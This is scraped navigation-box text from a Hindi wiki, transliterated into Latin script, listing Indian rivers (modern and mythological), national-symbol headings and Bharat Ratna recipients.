panchami · panchanan · para · pinakini · vahianda · poorna · penaganga · pranahita · rohita · sankari · laangoolini · vishvamitri · kiool · prachi sarasvati · jojari · netravati · piangala · chandra nadi · naganadi · ghagghar nadi · bhadra · lil di · bakulahi · chap · ajiravati · aanbha nadi · ghugari nadi · kalapoang · kotebira eb nadi · mandakini nadi · venaganga · lachhuang · nubra · ghaggha nadi · rekha nadi · pipalaj nadi · bhimarathi nadi · tava nadi · lohit nadi · tel nadi · sasur khaderi · see nadi · girikarnika · gosthani nadi · guandalakamma nadi · rrishiganga · kurum nadi · yavyavati · sarada nadi · harikaanta · hiandon · venuka · veni · sharadanda · sohan nadi · kshipra nadi · amaravati nadi · rrijupalika nadi · banjar nadi · ghaggar-hakara nadi · manimutar nadi · punyajal nadi · lakhanadeee nadi · rangit nadi · dharala nadi · vinod nadi · barak nadi · umngot nadi
pauranik
achiravati · aandh nadi · aanshumati nadi · ativati · aparananda · anutapta · amrita · avatoda · ashv · asikni · akashaganga · atreyi · apaga · amoo · aryakulya kulianga · ikshumati · iravati · uttaraga · pravara nadi · utpalavati · urnavati chandravasa · tamra · tritiya nadi · usha · punyatoya · anushna · rrishikulya · rrishitoya · bianbika · nishchira · erandi · odhavati · ambuvahini · ambumati · adhrishya · mahagauri · trimasa nadi · kankavati · kakudaman · karatoya · vahini nadi · kapi · kaanchanakshi · khalu · brihadvati · lohatarini · rodhasvati · vipapa · varavatya · kadanb · devika · bani nadi · manorama · navalika nadi · vipasha · gautami · toya nadi · aangaravahini · vishalya · vidisha nadi · raupya nadi · kapini · vadava · mahananda · ratri · vitrishna · chitrasena · kapila · keshini nadi · vastra · kapisha · gauri nadi · nishchala · chitrashila · aantashila · vaihayasi · kumudvati · puramalini · krishnavena · sampatti · shila nadi · plaksha nadi · shaivya nadi · devanadi · nirvindhya · vadhoosara · punyavati · jyotiratha · balakhily nadi · kariand · vaitarani · plakshajata · vedashruti · gabhasti · vrishasa · vrishabha · karishini · langhati · urmila nadi · kanaka nadi · reva nadi · karnada · charmanvati · dasharn · vena · mandaga · bhogavati ananga · kapila · mahi · vishva · shighra · shubhavaha · bharati · drishadvati · payoshni · chirini · chuluka · laangali · mahashon · tilodaki · bahuda · nivara · bhima · mala nadi · hastisoma · chakranadi · pushpavati · charmanvati · vasvokasara · sarayoo · shatadru · hiranyavati · amarananda · poorvabhirama · vankshu · lauhity · gandhavati · malak · chandrabhaga · saptavati · gautami · viramati · kampana · harishrava · vishalya · aanbar nadi · dhritamati · maruda · kumari · krishnaveni · kalamahi · shikhi nadi · shatakumbha · kaushiki · vira nadi · upajala · chitravaha · vidyut · gandaki · kimpuna · kumari · odhavati · brihadadhvani · shon · chakshu · ikshu · nanda nadi · malini · kalika · chitrotpala · dhenuka nadi · dhoopatapa · shailoda nadi · yoni · gangavati · karatoya · trivida · vimochini · murala · mukta · shuktimati · dhenuka · dhootapapa · ghritavati · dhaumyaganga · nivritti · vrishaka · pavitra · vedasmrita · parada · pavani · bahula · pushpaja · sakarani nadi · payasvini · shaankari · hastimati · pratichi · mandavahini · praveni nadi · parushni · trisama nadi · marudvridha nadi · jyotirathya nadi · loni nadi · nalini · tilottama nadi · sharkaravati · hastisom · harini · hiranya · hiranyakshi · sharavati nadi · khotan · sutpalavati nadi · padmavati · kakudmati nadi · aruna nadi · uhoo nadi · parnasha nadi
sahayak

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dekhean • varta • badalean
ganga nadi se sambandhit lekh
  1. REDIRECT saancha:rashtriy chihn aur pratik
dekhean • varta • badalean
25px bharat ganarajy
rajy
keandrashasit pradesh
pradeshoan ki rajadhani
sansad
rashtrapati
karyavahak rashtrapati
pradhanamantri
up pradhanamantri
chihn-pratik
bhasha
bharat rath‍n
abulakalam azad · sarvapalli radhakrishnan · amarty sen · veankat raman · bhimarav ambedakar · bhimasen joshi · rajendr prasad · lal bahadur shastri · bidhan chandr ray · javaharalal neharoo · dhoando keshav karve · khan abdulagaffar khan · bhagavan das · chakravarti rajagopalachari · goviand ballabh pant · satyajit ray · si. subrahmanyam · moraraji desaee · iandira gaandhi · madar teresa · ravi shankar · rajiv gaandhi · nelh‍san mandela · zakir husain · gulazarilal nanda · jayaprakash narayan · vi.vi. giri · vinoba bhave · vaman kane · abdul kalam · mokshaguandam vishveshvaraiya · em. ji. ramachandran · lata mangeshakar · saradar vallabh bhaee patel · bismilla khaan · aruna asaf ali · je. ar. di. tata · gopinath boradoloee · purushottam das tandan · ke. kamaraj · subbulakshmi · si. en. ar. rav · sachin teandulakar · atal bihari vajapeyi · madanamohan malaviy
rashtriy divas

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